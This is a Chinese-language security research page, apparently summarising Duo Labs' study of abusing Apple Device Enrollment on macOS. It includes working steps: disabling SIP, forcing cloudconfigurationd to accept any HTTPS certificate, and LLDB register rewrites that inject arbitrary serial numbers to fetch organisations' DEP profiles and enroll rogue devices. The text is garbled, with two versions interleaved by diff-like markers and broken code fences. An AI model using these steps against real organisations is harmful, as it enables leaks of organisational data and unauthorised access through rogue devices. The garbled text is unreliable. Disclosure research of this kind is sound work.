如[**先前评论的**](./#what-is-mdm-mobile-device-management)**,为了尝试将设备注册到一个组织中,只需要一个属于该组织的序列号**。一旦设备注册成功,多个组织将在新设备上安装敏感数据:证书、应用程序、WiFi密码、VPN配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||||
因此,如果注册过程没有正确保护,这可能是攻击者的危险入口点。
|
因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口。
|
||||||
|
|
||||||
**以下研究取自** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
|
**以下是研究的摘要[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。请查看以获取更多技术细节!**
|
||||||
|
|
||||||
## 反向过程
|
## DEP和MDM二进制分析概述
|
||||||
|
|
||||||
### 参与DEP和MDM的二进制文件
|
该研究深入探讨了与设备注册计划(DEP)和移动设备管理(MDM)在macOS上相关的二进制文件。关键组件包括:
|
||||||
|
|
||||||
在我们的研究中,我们探索了以下内容:
|
- **`mdmclient`**:与MDM服务器通信,并在macOS 10.13.4之前的版本上触发DEP签入。
|
||||||
|
- **`profiles`**:管理配置文件,并在macOS 10.13.4及更高版本上触发DEP签入。
|
||||||
|
- **`cloudconfigurationd`**:管理DEP API通信并检索设备注册配置文件。
|
||||||
|
|
||||||
* **`mdmclient`**:由操作系统用来与MDM服务器通信。在macOS 10.13.3及更早版本中,它也可以用来触发DEP签到。
|
DEP签入利用私有配置文件框架中的`CPFetchActivationRecord`和`CPGetActivationRecord`函数来获取激活记录,其中`CPFetchActivationRecord`通过XPC与`cloudconfigurationd`协调。
|
||||||
* **`profiles`**:一个可以用来在macOS上安装、移除和查看配置文件的实用工具。它也可以用来在macOS 10.13.4及更新版本上触发DEP签到。
|
|
||||||
* **`cloudconfigurationd`**:设备注册客户端守护进程,负责与DEP API通信并检索设备注册配置文件。
|
|
||||||
|
|
||||||
使用`mdmclient`或`profiles`启动DEP签到时,会使用`CPFetchActivationRecord`和`CPGetActivationRecord`函数来检索_激活记录_。`CPFetchActivationRecord`通过[XPC](https://developer.apple.com/documentation/xpc)将控制权委托给`cloudconfigurationd`,然后从DEP API检索_激活记录_。
|
## Tesla协议和Absinthe方案的逆向工程
|
||||||
|
|
||||||
`CPGetActivationRecord`从缓存中检索_激活记录_(如果可用)。这些函数定义在私有配置文件框架中,位于`/System/Library/PrivateFrameworks/Configuration Profiles.framework`。
|
DEP签入涉及`cloudconfigurationd`向_iprofiles.apple.com/macProfile_发送加密、签名的JSON负载。负载包括设备的序列号和操作“RequestProfileConfiguration”。内部使用的加密方案称为“Absinthe”。解开这个方案是复杂的,涉及多个步骤,这导致探索插入激活记录请求中的任意序列号的替代方法。
|
||||||
|
|
||||||
### 反向工程Tesla协议和Absinthe方案
|
## 代理DEP请求
|
||||||
|
|
||||||
在DEP签到过程中,`cloudconfigurationd`从_iprofiles.apple.com/macProfile_请求_激活记录_。请求负载是一个包含两个键值对的JSON字典:
|
使用Charles Proxy等工具拦截和修改DEP请求到_iprofiles.apple.com_的尝试受到负载加密和SSL/TLS安全措施的阻碍。然而,启用`MCCloudConfigAcceptAnyHTTPSCertificate`配置允许绕过服务器证书验证,尽管负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。
|
||||||
```
|
|
||||||
{
|
|
||||||
"sn": "",
|
|
||||||
action": "RequestProfileConfiguration
|
|
||||||
}
|
|
||||||
```
|
|
||||||
载荷使用内部称为“Absinthe”的方案进行签名和加密。加密后的载荷随后进行Base 64编码,并用作HTTP POST请求的请求体,发送到_iprofiles.apple.com/macProfile_。
|
|
||||||
|
|
||||||
在`cloudconfigurationd`中,获取_Activation Record_由`MCTeslaConfigurationFetcher`类处理。从`[MCTeslaConfigurationFetcher enterState:]`开始的一般流程如下:
|
## 仪器化与DEP交互的系统二进制文件
|
||||||
```
|
|
||||||
rsi = @selector(verifyConfigBag);
|
|
||||||
rsi = @selector(startCertificateFetch);
|
|
||||||
rsi = @selector(initializeAbsinthe);
|
|
||||||
rsi = @selector(startSessionKeyFetch);
|
|
||||||
rsi = @selector(establishAbsintheSession);
|
|
||||||
rsi = @selector(startConfigurationFetch);
|
|
||||||
rsi = @selector(sendConfigurationInfoToRemote);
|
|
||||||
rsi = @selector(sendFailureNoticeToRemote);
|
|
||||||
```
|
|
||||||
由于 **Absinthe** 方案似乎是用来验证对 DEP 服务的请求的,**逆向工程** 这个方案将允许我们对 DEP API 进行自己的认证请求。然而,这证明是**耗时**的,主要是因为认证请求涉及的步骤数量。我们没有完全逆向这个方案是如何工作的,而是选择探索其他方法,作为 _激活记录_ 请求的一部分插入任意序列号。
|
|
||||||
|
|
||||||
### MITMing DEP 请求
|
仪器化系统二进制文件如`cloudconfigurationd`需要在macOS上禁用系统完整性保护(SIP)。禁用SIP后,可以使用LLDB等工具附加到系统进程,并可能修改DEP API交互中使用的序列号。这种方法更可取,因为它避免了权限和代码签名的复杂性。
|
||||||
|
|
||||||
我们探索了使用 [Charles Proxy](https://www.charlesproxy.com) 代理对 _iprofiles.apple.com_ 网络请求的可行性。我们的目标是检查发送到 _iprofiles.apple.com/macProfile_ 的有效载荷,然后插入一个任意序列号并重放请求。如前所述,由 `cloudconfigurationd` 提交到该端点的有效载荷是 [JSON](https://www.json.org) 格式,并包含两个键值对。
|
**利用二进制仪器化:**
|
||||||
```
|
在`cloudconfigurationd`中的JSON序列化之前修改DEP请求负载证明是有效的。该过程涉及:
|
||||||
{
|
|
||||||
"action": "RequestProfileConfiguration",
|
|
||||||
sn": "
|
|
||||||
}
|
|
||||||
```
|
|
||||||
由于 _iprofiles.apple.com_ 的API使用了[传输层安全性](https://en.wikipedia.org/wiki/Transport\_Layer\_Security)(TLS),我们需要在Charles中为该主机启用SSL代理,以查看SSL请求的明文内容。
|
|
||||||
|
|
||||||
然而,`-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` 方法会检查服务器证书的有效性,如果无法验证服务器信任,将会中止。
|
1. 将LLDB附加到`cloudconfigurationd`。
|
||||||
```
|
2. 定位提取系统序列号的位置。
|
||||||
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
|
3. 在加密并发送负载之前将任意序列号注入内存。
|
||||||
"The Device Enrollment server trust could not be verified. Please contact your system
|
|
||||||
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
|
|
||||||
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
|
|
||||||
server trust could not be verified. Please contact your system administrator.,
|
|
||||||
MCErrorType=MCFatalError}
|
|
||||||
```
|
|
||||||
上面显示的错误消息位于一个名为_Errors.strings_的二进制文件中,该文件的键为`CLOUD_CONFIG_SERVER_TRUST_ERROR`,位于`/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`路径下,与其他相关错误消息一起。
|
|
||||||
```
|
|
||||||
$ cd /System/Library/CoreServices
|
|
||||||
$ rg "The Device Enrollment server trust could not be verified"
|
|
||||||
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
|
||||||
<snip>
|
|
||||||
```
|
|
||||||
_Errors.strings_ 文件可以使用内置的 `plutil` 命令[以人类可读格式打印](https://duo.com/labs/research/mdm-me-maybe#error_strings_output)。
|
|
||||||
```
|
|
||||||
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
|
||||||
```
|
|
||||||
在进一步研究了 `MCTeslaConfigurationFetcher` 类之后,我们发现,通过在 `com.apple.ManagedClient.cloudconfigurationd` 配置域上启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置选项,可以绕过这种服务器信任行为。
|
|
||||||
```
|
|
||||||
loc_100006406:
|
|
||||||
rax = [NSUserDefaults standardUserDefaults];
|
|
||||||
rax = [rax retain];
|
|
||||||
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
|
|
||||||
r15 = r15;
|
|
||||||
[rax release];
|
|
||||||
if (r14 != 0x1) goto loc_10000646f;
|
|
||||||
```
|
|
||||||
`MCCloudConfigAcceptAnyHTTPSCertificate` 配置选项可以使用 `defaults` 命令设置。
|
|
||||||
```
|
|
||||||
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
|
|
||||||
```
|
|
||||||
在为 _iprofiles.apple.com_ 启用了 SSL 代理,并配置 `cloudconfigurationd` 接受任何 HTTPS 证书后,我们尝试在 Charles Proxy 中进行中间人攻击并重放请求。
|
|
||||||
|
|
||||||
然而,由于发送到 _iprofiles.apple.com/macProfile_ 的 HTTP POST 请求体中包含的有效载荷是用 Absinthe(`NACSign`)签名和加密的,**无法修改纯文本 JSON 有效载荷以包含任意序列号,除非同时拥有解密它的密钥**。尽管有可能获得密钥,因为它保留在内存中,但我们转而探索使用 [LLDB](https://lldb.llvm.org) 调试器的 `cloudconfigurationd`。
|
这种方法允许检索任意序列号的完整DEP配置文件,展示了潜在的漏洞。
|
||||||
|
|
||||||
### 对与 DEP 交互的系统二进制文件进行插桩
|
### 使用Python自动化仪器化
|
||||||
|
|
||||||
我们探索的最后一种方法,用于自动化向 _iprofiles.apple.com/macProfile_ 提交任意序列号的过程,是对直接或间接与 DEP API 交互的原生二进制文件进行插桩。这涉及到使用 [Hopper v4](https://www.hopperapp.com) 和 [Ida Pro](https://www.hex-rays.com/products/ida/) 对 `mdmclient`、`profiles` 和 `cloudconfigurationd` 进行一些初步探索,以及与 `lldb` 进行一些漫长的调试会话。
|
使用LLDB API将利用过程自动化,使得可以以编程方式注入任意序列号并检索相应的DEP配置文件。
|
||||||
|
|
||||||
这种方法相对于修改二进制文件并用我们自己的密钥重新签名的好处之一是,它可以绕过 macOS 内置的一些可能会阻碍我们的权限限制。
|
### DEP和MDM漏洞的潜在影响
|
||||||
|
|
||||||
**系统完整性保护**
|
研究突出了重要的安全问题:
|
||||||
|
|
||||||
为了对 macOS 上的系统二进制文件(如 `cloudconfigurationd`)进行插桩,必须禁用 [系统完整性保护](https://support.apple.com/en-us/HT204899)(SIP)。SIP 是一种安全技术,用于保护系统级文件、文件夹和进程免受篡改,它默认在 OS X 10.11 “El Capitan” 及更高版本上启用。[可以通过](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) 启动到恢复模式并在终端应用程序中运行以下命令来禁用 SIP,然后重启:
|
1. **信息泄露**:通过提供DEP注册的序列号,可以检索DEP配置文件中包含的敏感组织信息。
|
||||||
```
|
2. **虚假DEP注册**:没有适当的身份验证,具有DEP注册序列号的攻击者可以将虚假设备注册到组织的MDM服务器,可能获取对敏感数据和网络资源的访问权限。
|
||||||
csrutil enable --without debug
|
|
||||||
```
|
|
||||||
请注意,SIP 是一个有用的安全功能,除了在非生产机器上进行研究和测试目的外,不应该禁用它。在非关键虚拟机上进行这些操作也是可能的(并且推荐),而不是在宿主操作系统上。
|
|
||||||
|
|
||||||
**使用 LLDB 的二进制插桩**
|
总之,虽然DEP和MDM为企业环境中管理苹果设备提供了强大的工具,但它们也呈现出需要保护和监控的潜在攻击向量。
|
||||||
|
|
||||||
在禁用了 SIP 之后,我们就能够继续对与 DEP API 交互的系统二进制文件进行插桩,特别是 `cloudconfigurationd` 二进制文件。因为 `cloudconfigurationd` 需要提升权限才能运行,我们需要用 `sudo` 启动 `lldb`。
|
|
||||||
```
|
|
||||||
$ sudo lldb
|
|
||||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
|
||||||
```
|
|
||||||
在`lldb`等待的同时,我们可以通过在另一个终端窗口运行`sudo /usr/libexec/mdmclient dep nag`来附加到`cloudconfigurationd`。一旦附加,类似于以下的输出将会显示,并且可以在提示符下输入LLDB命令。
|
|
||||||
```
|
|
||||||
Process 861 stopped
|
|
||||||
* thread #1, stop reason = signal SIGSTOP
|
|
||||||
<snip>
|
|
||||||
Target 0: (cloudconfigurationd) stopped.
|
|
||||||
|
|
||||||
Executable module set to "/usr/libexec/cloudconfigurationd".
|
|
||||||
Architecture set to: x86_64h-apple-macosx.
|
|
||||||
(lldb)
|
|
||||||
```
|
|
||||||
**设置设备序列号**
|
|
||||||
|
|
||||||
我们在逆向 `mdmclient` 和 `cloudconfigurationd` 时首先寻找的是负责检索系统序列号的代码,因为我们知道序列号最终负责认证设备。我们的目标是在序列号从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 检索后,在内存中修改它,并在 `cloudconfigurationd` 构建 `macProfile` 负载时使用该序列号。
|
|
||||||
|
|
||||||
尽管 `cloudconfigurationd` 最终负责与 DEP API 通信,我们还调查了系统序列号是否在 `mdmclient` 中直接检索或使用。下面显示的检索到的序列号并非发送到 DEP API 的序列号,但它确实揭示了一个硬编码的序列号,如果启用了特定配置选项,则会使用该序列号。
|
|
||||||
```
|
|
||||||
int sub_10002000f() {
|
|
||||||
if (sub_100042b6f() != 0x0) {
|
|
||||||
r14 = @"2222XXJREUF";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
rax = IOServiceMatching("IOPlatformExpertDevice");
|
|
||||||
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
|
|
||||||
<snip>
|
|
||||||
}
|
|
||||||
rax = r14;
|
|
||||||
return rax;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
系统序列号从[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索,除非`sub_10002000f`的返回值非零,在这种情况下,它被设置为静态字符串“2222XXJREUF”。检查该函数后,看起来它似乎用于检查“服务器压力测试模式”是否启用。
|
|
||||||
```
|
|
||||||
void sub_1000321ca(void * _block) {
|
|
||||||
if (sub_10002406f() != 0x0) {
|
|
||||||
*(int8_t *)0x100097b68 = 0x1;
|
|
||||||
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
我们记录了“服务器压力测试模式”的存在,但没有进一步探索,因为我们的目标是修改呈现给DEP API的序列号。相反,我们测试了修改`r14`寄存器指向的序列号是否足以检索不属于我们正在测试的机器的_激活记录_。
|
|
||||||
|
|
||||||
接下来,我们研究了系统序列号在`cloudconfigurationd`中是如何检索的。
|
|
||||||
```
|
|
||||||
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
|
|
||||||
var_50 = arg3;
|
|
||||||
r12 = arg2;
|
|
||||||
r13 = arg1;
|
|
||||||
r15 = arg0;
|
|
||||||
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
|
|
||||||
r14 = 0xffffffffffff541a;
|
|
||||||
if (rbx != 0x0) {
|
|
||||||
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
|
|
||||||
r14 = rax;
|
|
||||||
<snip>
|
|
||||||
}
|
|
||||||
rax = r14;
|
|
||||||
return rax;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
如上所述,序列号也可以从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 中的 `cloudconfigurationd` 获取。
|
|
||||||
|
|
||||||
使用 `lldb`,我们能够通过为 `IOServiceGetMatchingService` 设置断点,并创建一个包含任意序列号的新字符串变量,然后重写 `r14` 寄存器,使其指向我们创建的变量的内存地址,从而修改从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 检索到的序列号。
|
|
||||||
```
|
|
||||||
(lldb) breakpoint set -n IOServiceGetMatchingService
|
|
||||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
|
||||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
|
||||||
Process 2208 stopped
|
|
||||||
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
|
|
||||||
stop reason = instruction step over frame #0: 0x000000010fd824d8
|
|
||||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
|
|
||||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
|
|
||||||
-> 0x10fd824d8 <+73>: movl %ebx, %edi
|
|
||||||
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
|
|
||||||
0x10fd824df <+80>: testq %r14, %r14
|
|
||||||
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
|
|
||||||
Target 0: (cloudconfigurationd) stopped.
|
|
||||||
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
|
|
||||||
# Step through the program execution by pressing 'n' a bunch of times and
|
|
||||||
# then 'po $r14' until we see the serial number.
|
|
||||||
(lldb) n
|
|
||||||
(lldb) po $r14
|
|
||||||
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
|
|
||||||
# Create a new variable containing an arbitrary serial number and print the memory address.
|
|
||||||
(lldb) p/x @"C02XXYYZZNNMM"
|
|
||||||
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
|
|
||||||
# Rewrite the `r14` register to point to our new variable.
|
|
||||||
(lldb) register write $r14 0x00007fb6d7d05850
|
|
||||||
(lldb) po $r14
|
|
||||||
# Confirm that `r14` contains the new serial number.
|
|
||||||
C02XXYYZZNNMM
|
|
||||||
```
|
|
||||||
虽然我们成功地修改了从[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索到的序列号,但`macProfile`有效载荷仍然包含系统序列号,而不是我们写入`r14`寄存器的那个。
|
|
||||||
|
|
||||||
**利用:在JSON序列化之前修改配置请求字典**
|
|
||||||
|
|
||||||
接下来,我们尝试了另一种设置`macProfile`有效载荷中发送的序列号的方法。这次,我们没有修改通过[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索到的系统序列号,而是试图找到代码中序列号仍然是明文的最接近点,在被Absinthe(`NACSign`)签名之前。最佳的查看点似乎是`-[MCTeslaConfigurationFetcher startConfigurationFetch]`,它大致执行以下步骤:
|
|
||||||
|
|
||||||
* 创建一个新的`NSMutableData`对象
|
|
||||||
* 调用`[MCTeslaConfigurationFetcher setConfigurationData:]`,传递新的`NSMutableData`对象
|
|
||||||
* 调用`[MCTeslaConfigurationFetcher profileRequestDictionary]`,它返回一个包含两个键值对的`NSDictionary`对象:
|
|
||||||
* `sn`:系统序列号
|
|
||||||
* `action`:要执行的远程操作(以`sn`作为其参数)
|
|
||||||
* 调用`[NSJSONSerialization dataWithJSONObject:]`,传递`profileRequestDictionary`的`NSDictionary`
|
|
||||||
* 使用Absinthe(`NACSign`)签名JSON有效载荷
|
|
||||||
* 对签名的JSON有效载荷进行Base64编码
|
|
||||||
* 设置HTTP方法为`POST`
|
|
||||||
* 设置HTTP正文为Base64编码的签名JSON有效载荷
|
|
||||||
* 设置`X-Profile-Protocol-Version` HTTP头为`1`
|
|
||||||
* 设置`User-Agent` HTTP头为`ConfigClient-1.0`
|
|
||||||
* 使用`[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]`方法执行HTTP请求
|
|
||||||
|
|
||||||
然后,在转换为JSON之前,我们修改了从`profileRequestDictionary`返回的`NSDictionary`对象。为此,在`dataWithJSONObject`上设置了一个断点,以便尽可能接近尚未转换的数据。断点成功,当我们打印我们通过反汇编知道的寄存器的内容(`rdx`)时,我们得到了我们期望看到的结果。
|
|
||||||
```
|
|
||||||
po $rdx
|
|
||||||
{
|
|
||||||
action = RequestProfileConfiguration;
|
|
||||||
sn = C02XXYYZZNNMM;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
上面是由 `[MCTeslaConfigurationFetcher profileRequestDictionary]` 返回的 `NSDictionary` 对象的美化打印表示。我们的下一个挑战是修改包含序列号的内存中的 `NSDictionary`。
|
|
||||||
```
|
|
||||||
(lldb) breakpoint set -r "dataWithJSONObject"
|
|
||||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
|
||||||
(lldb) process attach --name "cloudconfigurationd" --waitfor
|
|
||||||
Process 3291 stopped
|
|
||||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
|
||||||
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
|
|
||||||
Target 0: (cloudconfigurationd) stopped.
|
|
||||||
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
|
|
||||||
(lldb) continue
|
|
||||||
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
|
|
||||||
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
|
|
||||||
@"RequestProfileConfiguration", @"action", nil]
|
|
||||||
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
|
|
||||||
# Confirm that `rdx` contains the new `NSDictionary`.
|
|
||||||
po $rdx
|
|
||||||
{
|
|
||||||
action = RequestProfileConfiguration;
|
|
||||||
sn = <new_serial_number>
|
|
||||||
}
|
|
||||||
```
|
|
||||||
上面的列表执行以下操作:
|
|
||||||
|
|
||||||
* 为 `dataWithJSONObject` 选择器创建一个常规表达式断点
|
|
||||||
* 等待 `cloudconfigurationd` 进程启动,然后附加到它
|
|
||||||
* 继续执行程序(因为我们遇到的第一个 `dataWithJSONObject` 的断点不是在 `profileRequestDictionary` 上调用的)
|
|
||||||
* 创建并打印(由于 `/x` 而以十六进制格式)我们任意 `NSDictionary` 的结果
|
|
||||||
* 由于我们已经知道所需键的名称,我们可以简单地将序列号设置为我们选择的 `sn`,并保持操作不变
|
|
||||||
* 创建这个新 `NSDictionary` 的结果的打印输出告诉我们,在特定内存位置有两个键值对
|
|
||||||
|
|
||||||
我们的最后一步是重复相同的步骤,将我们自定义 `NSDictionary` 对象的内存位置写入 `rdx`,该对象包含我们选择的序列号:
|
|
||||||
```
|
|
||||||
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
|
|
||||||
(lldb) continue
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
这将 `rdx` 寄存器指向我们新的 `NSDictionary`,就在它被序列化为 [JSON](https://www.json.org) 并 `POST` 到 _iprofiles.apple.com/macProfile_ 之前,然后 `continue` 程序流。
|
|
||||||
|
|
||||||
在序列化为 JSON 之前修改配置文件请求字典中的序列号的这种方法奏效了。使用已知良好的 DEP 注册的苹果序列号替换 (null) 时,`ManagedClient` 的调试日志显示了该设备的完整 DEP 配置文件:
|
|
||||||
```
|
|
||||||
```
|
|
||||||
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
|
|
||||||
{
|
|
||||||
AllowPairing = 1;
|
|
||||||
AnchorCertificates = (
|
|
||||||
);
|
|
||||||
AwaitDeviceConfigured = 0;
|
|
||||||
ConfigurationURL = "https://some.url/cloudenroll";
|
|
||||||
IsMDMUnremovable = 1;
|
|
||||||
IsMandatory = 1;
|
|
||||||
IsSupervised = 1;
|
|
||||||
OrganizationAddress = "Org address";
|
|
||||||
OrganizationAddressLine1 = "More address";
|
|
||||||
OrganizationAddressLine2 = NULL;
|
|
||||||
OrganizationCity = A City;
|
|
||||||
OrganizationCountry = US;
|
|
||||||
OrganizationDepartment = "Org Dept";
|
|
||||||
OrganizationEmail = "dep.management@org.url";
|
|
||||||
OrganizationMagic = <unique string>;
|
|
||||||
OrganizationName = "ORG NAME";
|
|
||||||
OrganizationPhone = "+1551234567";
|
|
||||||
OrganizationSupportPhone = "+15551235678";
|
|
||||||
OrganizationZipCode = "ZIPPY";
|
|
||||||
SkipSetup = (
|
|
||||||
AppleID,
|
|
||||||
Passcode,
|
|
||||||
Zoom,
|
|
||||||
Biometric,
|
|
||||||
Payment,
|
|
||||||
TOS,
|
|
||||||
TapToSetup,
|
|
||||||
Diagnostics,
|
|
||||||
HomeButtonSensitivity,
|
|
||||||
Android,
|
|
||||||
Siri,
|
|
||||||
DisplayTone,
|
|
||||||
ScreenSaver
|
|
||||||
);
|
|
||||||
SupervisorHostCertificates = (
|
|
||||||
);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
仅需几个`lldb`命令,我们就可以成功插入一个任意序列号,并获取一个包含各种组织特定数据的DEP配置文件,包括组织的MDM注册URL。如讨论所述,这个注册URL可以用来注册一个恶意设备,现在我们知道了它的序列号。其他数据可以用来社会工程学地注册一个恶意设备。一旦注册,设备就可以接收任意数量的证书、配置文件、应用程序、VPN配置等。
|
|
||||||
|
|
||||||
### 使用Python自动化`cloudconfigurationd`工具的操作
|
|
||||||
|
|
||||||
一旦我们有了使用序列号检索有效DEP配置文件的初步概念验证,我们就开始自动化这个过程,以展示攻击者可能如何滥用这种认证弱点。
|
|
||||||
|
|
||||||
幸运的是,LLDB API可以通过[脚本桥接接口](https://lldb.llvm.org/python-reference.html)在Python中使用。在安装了[Xcode命令行工具](https://developer.apple.com/download/more/)的macOS系统上,可以如下导入`lldb` Python模块:
|
|
||||||
```
|
|
||||||
import lldb
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
这使我们能够相对容易地编写一个概念验证脚本,演示如何插入一个已注册DEP的序列号,并收到一个有效的DEP配置文件作为回应。我们开发的PoC接受一个由换行符分隔的序列号列表,并将它们注入到`cloudconfigurationd`进程中以检查DEP配置文件。
|
|
||||||
|
|
||||||
![Charles SSL代理设置。](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
|
|
||||||
|
|
||||||
![DEP通知。](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
|
|
||||||
|
|
||||||
### 影响
|
|
||||||
|
|
||||||
有多种情况下,苹果的设备注册计划可能被滥用,导致暴露组织的敏感信息。最明显的两种情况涉及获取设备所属组织的信息,这可以从DEP配置文件中检索到。第二种是使用这些信息执行恶意DEP和MDM注册。下面将进一步讨论这些情况。
|
|
||||||
|
|
||||||
#### 信息泄露
|
|
||||||
|
|
||||||
如前所述,DEP注册过程的一部分涉及从DEP API请求并接收一个_激活记录_(或DEP配置文件)。通过提供一个有效的、已注册DEP的系统序列号,我们能够检索以下信息(根据macOS版本,要么打印到`stdout`,要么写入`ManagedClient`日志)。
|
|
||||||
```
|
|
||||||
```
|
|
||||||
Activation record: {
|
|
||||||
AllowPairing = 1;
|
|
||||||
AnchorCertificates = (
|
|
||||||
<array_of_der_encoded_certificates>
|
|
||||||
);
|
|
||||||
AwaitDeviceConfigured = 0;
|
|
||||||
ConfigurationURL = "https://example.com/enroll";
|
|
||||||
IsMDMUnremovable = 1;
|
|
||||||
IsMandatory = 1;
|
|
||||||
IsSupervised = 1;
|
|
||||||
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
|
|
||||||
OrganizationAddressLine1 = "123 Main Street";
|
|
||||||
OrganizationAddressLine2 = NULL;
|
|
||||||
OrganizationCity = Anywhere;
|
|
||||||
OrganizationCountry = USA;
|
|
||||||
OrganizationDepartment = "IT";
|
|
||||||
OrganizationEmail = "dep@example.com";
|
|
||||||
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
|
|
||||||
OrganizationName = "Example, Inc.";
|
|
||||||
OrganizationPhone = "+15555555555";
|
|
||||||
OrganizationSupportPhone = "+15555555555";
|
|
||||||
OrganizationZipCode = "12345";
|
|
||||||
SkipSetup = (
|
|
||||||
<array_of_setup_screens_to_skip>
|
|
||||||
);
|
|
||||||
SupervisorHostCertificates = (
|
|
||||||
);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
虽然某些组织的部分信息可能是公开可用的,但拥有组织设备的序列号以及从DEP配置文件中获得的信息,可以用来对组织的服务台或IT团队进行各种社会工程攻击,例如请求密码重置或帮助将设备注册到公司的MDM服务器。
|
|
||||||
|
|
||||||
#### 恶意DEP注册
|
|
||||||
|
|
||||||
[Apple MDM协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)支持通过[HTTP基本认证](https://en.wikipedia.org/wiki/Basic\_access\_authentication)进行MDM注册前的用户认证,但并不要求。**如果没有认证,通过DEP在MDM服务器上注册设备所需的只是一个有效的、已注册DEP的序列号**。因此,攻击者如果获得了这样一个序列号(无论是通过[OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence)、社会工程还是暴力破解),只要该设备当前没有在MDM服务器上注册,就能够将自己的设备注册为组织所拥有的设备。本质上,如果攻击者能够在真正的设备之前启动DEP注册,他们就能够假冒该设备的身份。
|
|
||||||
|
|
||||||
组织可以 - 也确实在 - 利用MDM部署敏感信息,如设备和用户证书、VPN配置数据、注册代理、配置文件以及各种其他内部数据和组织机密。此外,一些组织选择不要求用户在MDM注册过程中进行认证。这有各种好处,如更好的用户体验,以及不必[将内部认证服务器暴露给MDM服务器来处理在企业网络外进行的MDM注册](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep)。
|
|
||||||
|
|
||||||
然而,当利用DEP来引导MDM注册时,这就出现了一个问题,因为攻击者将能够将其选择的任何端点注册到组织的MDM服务器。此外,一旦攻击者成功地将其选择的端点注册到MDM,他们可能获得特权访问权限,这可以用来进一步在网络内部进行渗透。
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
